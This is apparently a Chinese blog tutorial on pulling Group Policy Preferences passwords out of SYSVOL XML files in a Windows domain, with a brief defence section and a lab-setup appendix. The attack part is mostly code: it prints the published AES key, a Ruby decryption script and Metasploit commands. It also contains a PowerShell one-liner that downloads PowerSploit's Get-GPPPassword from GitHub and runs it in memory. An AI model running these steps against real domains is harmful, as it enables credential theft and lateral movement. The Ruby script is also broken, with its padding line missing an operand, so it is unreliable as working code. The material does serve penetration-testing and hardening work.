这种方法是最简单的,因为不需要特殊的“黑客”工具。所有的攻击必须做的是打开Windows资源管理器,并搜索域名为SYSVOL DFS共享的XML文件。在大多数情况下,以下XML文件将包含凭据:groups.xml,scheduledtasks.xml和&Services.xml,Printers.xml ,Drives.xml.

SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享

SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。

SYSVOL包含登录脚本,组策略数据以及需要在任何有域控制器的任何地方可用的其他域范围数据(因为SYSVOL在所有域控制器之间自动同步并共享)。所有域组策略都存储在这里:\\ <DOMAIN> \ SYSVOL \ <DOMAIN> \ Policies \

注意:C:\Windows\SYSVOL目录下,只有创建组策略脚本登录才能有策略脚本配置文件groups.xml,默认是没有的

当创建新的GPP时,在SYSVOL中创建了一个与相关配置数据相关联的XML文件,如果提供了密码,那么AES-256位加密应该足够强的。

用于加密任何域中的所有组策略首选项密码的32字节AES密钥:

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx#endNote2

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8

f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

由于经过身份验证的用户(任何域用户或受信任域中的用户)都具有对SYSVOL的读取权限,所以域中的任何人都可以搜索包含“cpassword”的XML文件的SYSVOL共享,该文件是包含AES加密密码的值

通过ruby脚本进行解密:

require 'rubygems'

require 'openssl'

require 'base64'

encrypted_data = " v0hX9w3D40aFkfgtPgcz1yWPcjp+BqICihQlATkp50g "

def decrypt(encrypted_data)

  padding = "=" * ( - (encrypted_data.length % ))

  epassword = "#{encrypted_data}#{padding}"

  decoded = Base64.decode64(epassword)

   key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"

  aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")

  aes.decrypt

  aes.key = key

  plaintext = aes.update(decoded)

  plaintext << aes.final

  pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion

   return pass

 end

blah = decrypt(encrypted_data)

puts blah

use:  ruby  gpp,.rb

posershell脚本获取GPP密码:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPas
sword.ps1');Get-GPPPassword"
powershell  import-modulo  .\Get-GPPpassword.ps1;Get-GppPassword

MSF下的GGP解密:

msf > use post/windows/gather/credentials/gpp

msf >post(gpp) > sessions

msf >post(gpp) > set SESSION  

msf> post(gpp) > show options

msf >post(gpp) > run

防御方法:

  • 在每台电脑上都安装上KB2962486补丁,可以防止新的用户凭证被放到组策略配置文件当中。
  • 删除SYSVOL目录中包含密码的GPP xml文件。
  • 不要把密码放在所有认证用户都有权访问的文件当中

附录:

gpp组策略搭建:

让我们看一个例子,说明通过组策略定义本地用户登录。它从创建和编辑组策略对象开始:

在域组织中的组策略对象中创建一个登录账号脚本策略:名称为:

gpp_local_login:

选择新建的组策略gpp_local_login然后编辑:

用户配置---控制面板设置---本地用户和组--新建-本地用户中添加一个脚本登录。

可以看到域控制器行创建了本地组策略的文件:

通过网络共享可以访问到GPP的组策略的文件:

\\bk.com\SYSVOL\bk.com\Policies\{CE710A28-3FB8-4365-B356-41A30B5E9014}\User\Preferences\Groups\gpoups.xml

打开可以看到存储的cpasword密码:

最新文章

  1. MySQL多表查询
  2. ProgressBar 源码
  3. RequireJS 循环依赖报 模块undefined 处理方案
  4. javascript原型方法
  5. 黑马程序员——【Java基础】——集合框架
  6. stm32时钟分析
  7. 19Spring_AOP编程(AspectJ)_使用@Pointcut注解来定义切点
  8. 在ASP.NET中各种跳转控制
  9. HDU4003 Find Metal Mineral
  10. H3 BPM 跨平台表单发起详解
  11. Linux下Tomcat进行远程调试
  12. 【Android Developers Training】 22. 与其他fragment通信
  13. ●POJ 3378 Crazy Thairs
  14. spring-boot自定义favicon.ico文件
  15. for循环中let与var的区别,块级作用域如何产生与迭代中变量i如何记忆上一步的猜想
  16. 解决Ubuntu中Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another proce...
  17. CentOS 6.x下wget 下载提示 Unable to locally verify the issuer’s authority 完美解决方案
  18. 记录定时任务的一个错误:crontab 中使用&quot;%&quot;的问题
  19. SSMS登记密码清除
  20. 选择排序法、冒泡排序法、插入排序法、系统提供的底层sort方法排序之毫秒级比较

热门文章

  1. Spring学习(七)-----Spring Bean的5种作用域
  2. JAVA高级之路----JAVA多线程
  3. 记Thinkpad的一次扩容升级经历
  4. 【PMP考试专栏】01、五大过程组和十大知识领域
  5. 修改Linux系统下的最大文件描述符限制
  6. DruidDataSource源码分析
  7. openresty 安装指南
  8. size和STL中的size_type
  9. 蜗牛慢慢爬 LeetCode 1.Two Sum [Difficulty: Easy]
  10. PAT 甲级 1129 Recommendation System